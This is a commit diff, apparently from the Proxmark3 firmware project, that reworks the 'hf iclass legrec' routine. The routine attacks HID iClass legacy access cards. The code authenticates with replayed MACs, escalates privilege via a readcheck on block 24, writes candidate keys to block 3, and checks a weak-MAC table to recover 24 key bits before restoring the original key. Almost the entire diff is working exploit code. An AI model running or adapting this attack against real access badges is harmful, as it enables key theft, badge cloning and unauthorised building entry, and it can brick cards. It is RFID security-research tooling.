Updated hf iclass legrec arm side and added custom key to dictionary

Updated hf iclass legrec arm functionality
Added new custom standard key to the repository

Todo: Improve keygen algorithm efficiency
This commit is contained in:
Antiklesys 2024-10-20 11:16:46 +08:00
commit d6f8f9db4a
3 changed files with 213 additions and 145 deletions

View file

@ -2176,77 +2176,20 @@ void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t ind
void iClass_Recover(iclass_recover_req_t *msg) {
bool shallow_mod = false;
LED_A_ON();
Dbprintf(_RED_("Interrupting this process will render the card unusable!"));
Iso15693InitReader();
//Authenticate with AA2 with the standard key to get the AA2 mac
//Step0 Card Select Routine
uint32_t eof_time = 0;
picopass_hdr_t hdr = {0};
bool res = select_iclass_tag(&hdr, msg->req2.use_credit_key, &eof_time, shallow_mod);
//bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
if (res == false) {
Dbprintf(_RED_("Unable to select card! Stopping."));
goto out;
} else {
DbpString(_GREEN_("Card selected successfully!"));
}
//Step1 Authenticate with AA2 using K2
uint8_t mac2[4] = {0};
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
if (res == false) {
Dbprintf(_RED_("Unable to authenticate with AA2 using K2! Stopping."));
goto out;
} else {
DbpString(_GREEN_("AA2 authentication with K2 successful!"));
}
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t index = msg->index;
int bits_found = -1;
bool recovered = false;
bool completed = false;
uint8_t div_key2[8] = {0};
memcpy(div_key2, hdr.key_c, 8);
uint32_t eof_time = 0;
uint32_t start_time = 0;
uint8_t read_check_cc[] = { 0x80 | ICLASS_CMD_READCHECK, 0x18 }; //block 24
read_check_cc[0] = 0x10 | ICLASS_CMD_READCHECK; //use credit key
uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs
//cycle reader to reset cypher state and be able to authenticate with k1 trace
switch_off();
Iso15693InitReader();
DbpString(_YELLOW_("Cycled Reader..."));
//Step0 Card Select Routine
eof_time = 0;
//hdr = {0};
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
if (res == false) {
Dbprintf(_RED_("Unable to select card after reader cycle! Stopping."));
goto out;
} else {
DbpString(_GREEN_("Card selected successfully!"));
}
//Step1 Authenticate with AA1 using trace
uint8_t mac1[4] = {0};
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == false) {
Dbprintf(_RED_("Unable to authenticate on AA1 using macs! Stopping."));
goto out;
} else {
DbpString(_GREEN_("Authenticated with AA1 with macs!"));
}
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
uint8_t blockno = 24;
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
AddCrc(cmd_read + 1, 1);
uint8_t resp[10];
DbpString(_YELLOW_("Attempting privilege escalation..."));
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */
static uint8_t iclass_mac_table[8][8] = { //Reference weak macs table
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
@ -2258,107 +2201,227 @@ void iClass_Recover(iclass_recover_req_t *msg) {
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
};
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
static uint32_t iclass_mac_table_bit_values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
/* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte.
If we concatenate the last three bits of each key byte, we have a 24 bits long binary string.
If we convert that string to decimal we obtain the decimal numbers in iclass_mac_table_bit_values
Xorring the index of iterations against those decimal numbers allows us to retrieve the what was the corresponding sequence of bits of the original key in decimal format. */
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t index = 1;
int bits_found = -1;
LED_A_ON();
DbpString(_RED_("Interrupting this process will render the card unusable!"));
memcpy(div_key2, msg->nfa, 8);
//START LOOP
uint32_t loops = 1;
while (bits_found == -1) {
bool card_select = false;
bool card_auth = false;
int reinit_tentatives = 0;
uint8_t original_mac[8] = {0};
uint16_t resp_len = 0;
int res2;
uint8_t resp[10] = {0};
uint8_t mac1[4] = {0};
uint8_t mac2[4] = {0};
picopass_hdr_t hdr = {0};
bool res = false;
//Step3 Calculate New Key
uint8_t genkeyblock[PICOPASS_BLOCK_SIZE];
uint8_t genkeyblock_old[PICOPASS_BLOCK_SIZE];
uint8_t xorkeyblock[PICOPASS_BLOCK_SIZE];
generate_single_key_block_inverted(zero_key, index, genkeyblock);
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
//xor the new key against the previously generated key so that we only update the difference
if (index != 0) {
generate_single_key_block_inverted(zero_key, index - 1, genkeyblock_old);
for (int i = 0; i < 8 ; i++) {
xorkeyblock[i] = genkeyblock[i] ^ genkeyblock_old[i];
while(!card_select || !card_auth){
Iso15693InitReader(); //has to be at the top as it starts tracing
if(!msg->debug){
set_tracing(false); //disable tracing to prevent crashes - set to true for debugging
}else{
if (loops == 1){
clear_trace(); //if we're debugging better to clear the trace but do it only on the first loop
}
}
} else {
memcpy(xorkeyblock, genkeyblock, PICOPASS_BLOCK_SIZE);
if(msg->test){
Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- TEST Index - Loops: "_YELLOW_("%3d / %3d") " --------------*",loops,msg->loop);
}else{
Dbprintf(_YELLOW_("*Cycled Reader*") " ----------------- Index: "_RED_("%3d")" Loops: "_YELLOW_("%3d / %3d") " --------------*",index,loops,msg->loop);
}
//Step0 Card Select Routine
eof_time = 0; //reset eof time
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
if (res == false) {
DbpString(_RED_("Unable to select card after reader cycle! Retrying..."));
} else {
DbpString(_GREEN_("Card selected successfully!"));
card_select = true;
}
//Step1 Authenticate with AA1 using trace
if(card_select){
memcpy(original_mac, msg->req.key, 8);
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == false) {
DbpString(_RED_("Unable to authenticate on AA1 using macs! Retrying..."));
}else {
DbpString(_GREEN_("AA1 authentication with macs successful!"));
card_auth = true;
}
}
if(!card_auth || !card_select){
reinit_tentatives++;
switch_off();
}
if(reinit_tentatives == 5){
DbpString(_RED_("Unable to select or authenticate with card multiple times! Stopping."));
goto out;
}
}
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
uint8_t blockno = 24;
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
AddCrc(cmd_read + 1, 1);
int priv_esc_tries = 0;
bool priv_esc = false;
while(!priv_esc){
//The privilege escalation is done with a readcheck and not just a normal read!
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
// expect a 8-byte response here
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
if (res2 != PM3_SUCCESS || resp_len != 8){
DbpString(_YELLOW_("Privilege Escalation -> ")_RED_("Read failed! Trying again..."));
priv_esc_tries++;
}else{
DbpString(_YELLOW_("Privilege Escalation -> ")_GREEN_("Response OK!"));
priv_esc = true;
}
if(priv_esc_tries == 5){
DbpString(_RED_("Unable to complete privilege escalation! Stopping."));
goto out;
}
}
generate_single_key_block_inverted(zero_key, index, genkeyblock);
if(msg->test){
memcpy(genkeyblock, zero_key, PICOPASS_BLOCK_SIZE);
}
//Step4 Calculate New Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, xorkeyblock, 8);
memcpy(wb + 1, genkeyblock, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Step5 Perform Write
DbpString("Generated XOR Key: ");
Dbhexdump(8, xorkeyblock, false);
if (iclass_writeblock_ext(blockno, xorkeyblock, mac2, use_mac, shallow_mod)) {
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
if (index > 1) {
Dbprintf(_RED_("Card is likely to be unusable!"));
bool use_mac = true;
bool written = false;
bool write_error = false;
while(written == false && write_error == false){
//Step5 Perform Write
if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) {
DbpString("Wrote key: ");
Dbhexdump(8, genkeyblock, false);
}
//Reset cypher state
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//try to authenticate with the original mac to verify the write happened
memcpy(msg->req.key, original_mac, 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if(msg->test){
if (res != true) {
DbpString(_RED_("*** CARD EPURSE IS SILENT! RISK OF BRICKING! DO NOT EXECUTE KEY UPDATES! SCAN IT ON READER FOR EPURSE UPDATE, COLLECT NEW TRACES AND TRY AGAIN! ***"));
goto out;
}else{
DbpString(_GREEN_("*** CARD EPURSE IS LOUD! OK TO ATTEMPT KEY RETRIEVAL! RUN AGAIN WITH -notest ***"));
completed = true;
goto out;
}
}else{
if (res != true) {
DbpString("Write Operation : "_GREEN_("VERIFIED! Card Key Updated!"));
written = true;
}else{
DbpString("Write Operation : "_RED_("FAILED! Card Key is the Original. Retrying..."));
write_error = true;
}
}
}
if(!write_error){
//Step6 Perform 8 authentication attempts + 1 to verify if we found the weak key
for (int i = 0; i < 8 ; ++i) {
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iclass_mac_table[i], 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
if (res == true) {
bits_found = i;
DbpString(_RED_("--------------------------------------------------------"));
Dbprintf("Decimal Value of last 3 bits: " _GREEN_("[%3d]"), bits_found);
DbpString(_RED_("--------------------------------------------------------"));
recovered = true;
}
}
//regardless of bits being found, restore the original key and verify it
bool reverted = false;
uint8_t revert_retries = 0;
while(!reverted){
//Regain privilege escalation with a readcheck
iclass_send_as_reader(read_check_cc, sizeof(read_check_cc), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
DbpString(_YELLOW_("Attempting to restore the original key. "));
if (iclass_writeblock_ext(blockno, genkeyblock, mac2, use_mac, shallow_mod)) {
DbpString("Restore of Original Key "_GREEN_("successful."));
} else {
DbpString("Restore of Original Key " _RED_("failed."));
}
DbpString(_YELLOW_("Verifying Key Restore..."));
//Do a readcheck first to reset the cypher state
iclass_send_as_reader(read_check_cc2, sizeof(read_check_cc2), &start_time, &eof_time, shallow_mod);
res2 = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, &eof_time, false, true, &resp_len);
//need to craft the authentication payload accordingly
memcpy(msg->req.key, original_mac, 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == true) {
DbpString("Restore of Original Key "_GREEN_("VERIFIED! Card is usable again."));
reverted = true;
if (recovered){
goto restore;
}
}else{
DbpString("Restore of Original Key "_RED_("VERIFICATION FAILED! Trying again..."));
}
revert_retries++;
if(revert_retries >= 7){ //must always be an odd number!
Dbprintf(_RED_("Attempted to restore original key for %3d times and failed. Stopping. Card is likely unusable."), revert_retries);
goto out;
}
}
}
if(loops >= msg->loop){
completed = true;
goto out;
}
//Step6 Perform 8 authentication attempts
for (int i = 0; i < 8 ; ++i) {
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iclass_mac_table[i], 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //mac1 here shouldn't matter
if (res == true) {
bits_found = iclass_mac_table_bit_values[i] ^ index;
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iclass_mac_table_bit_values[i]);
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
goto restore;
}
if(!write_error){ //if there was a write error, re-run the loop for the same key index
loops++;
index++;
}
index++;
}//end while
restore:
;//empty statement for compilation
uint8_t partialkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(bits_found, partialkey);
uint8_t partialkey[PICOPASS_BLOCK_SIZE] = {0};
uint8_t resetkey[PICOPASS_BLOCK_SIZE];
convertToHexArray(index, resetkey);
//Calculate reset Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, resetkey, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Write back the card to the original key
DbpString(_YELLOW_("Restoring Card to the original key using Reset Key: "));
Dbhexdump(8, resetkey, false);
if (iclass_writeblock_ext(blockno, resetkey, mac2, use_mac, shallow_mod)) {
Dbprintf("Restore of Original Key "_GREEN_("successful. Card is usable again."));
} else {
Dbprintf("Restore of Original Key " _RED_("failed. Card is likely unusable."));
for(int i = 0; i < PICOPASS_BLOCK_SIZE; i++){
partialkey[i] = genkeyblock[i] ^ bits_found;
}
//Print the 24 bits found from k1
DbpString(_YELLOW_("Raw Key Partial Bytes: "));
DbpString(_RED_("--------------------------------------------------------"));
DbpString(_RED_("SUCCESS! Raw Key Partial Bytes: "));
Dbhexdump(8, partialkey, false);
DbpString(_RED_("--------------------------------------------------------"));
switch_off();
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_SUCCESS, NULL, 0);
@ -2366,6 +2429,10 @@ restore:
out:
switch_off();
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0);
if(completed){
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_EINVARG, NULL, 0);
}else{
reply_ng(CMD_HF_ICLASS_RECOVER, PM3_ESOFT, NULL, 0);
}
}